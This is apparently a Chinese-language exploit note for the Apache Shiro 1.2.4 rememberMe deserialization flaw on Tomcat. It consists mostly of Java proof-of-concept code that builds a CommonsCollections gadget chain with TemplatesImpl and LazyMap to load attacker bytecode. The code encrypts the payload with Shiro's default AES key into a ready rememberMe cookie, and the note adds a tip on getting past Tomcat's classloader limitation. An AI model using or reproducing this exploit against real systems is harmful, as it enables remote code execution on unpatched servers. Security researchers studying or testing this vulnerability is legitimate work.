环境 Shiro1.2.4(小于1.2.4) + Tomcat8
Shiro+Tomcat反序列化,手动添加CC依赖,下面是POC
public class cc6shiro {
public static byte[] payload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clz = pool.get(bad.evilClz.class.getName());
byte[] shellcode = clz.toBytecode();
TemplatesImpl tmpl = new TemplatesImpl();
Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});
Reflections.setFieldValue(tmpl,"_name","testName");
Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());
// tmpl.getOutputProperties();
Transformer transformerChain = new InvokerTransformer("getClass",null,null);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map,transformerChain);
// LazyMap在调用get方法的时候会触发transformer.transform
TiedMapEntry tMap = new TiedMapEntry(lazyMap,tmpl);
// TiedMapEntry的hashcode会调用getValue方法,getValue方法中会调用this.map.get方法.
// lazyMap.remove("keykey");
Map expMap = new HashMap();
expMap.put(tMap, "valuevalue");
// 要使得Key不存在.调用get方法时才能触发transform方法.
lazyMap.clear();
Reflections.setFieldValue(transformerChain,"iMethodName","getOutputProperties");
return Serializer.Serialize(expMap);
}
public static String getPayload() throws Exception{
byte[] payload = payload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payload, key);
return "rememberMe="+ ciphertext.toString();
}
}
难点: 如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误
因为Shiro+Tomcat的环境下,Tomcat会调用自身的类加载器,比较特殊。
方法是修改下面的链:抽离 tmpl 为 Map 的 Key即可. 这是之前没用用到的点.
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(tmpl),
new InvokerTransformer("newTransformer",null,null),
};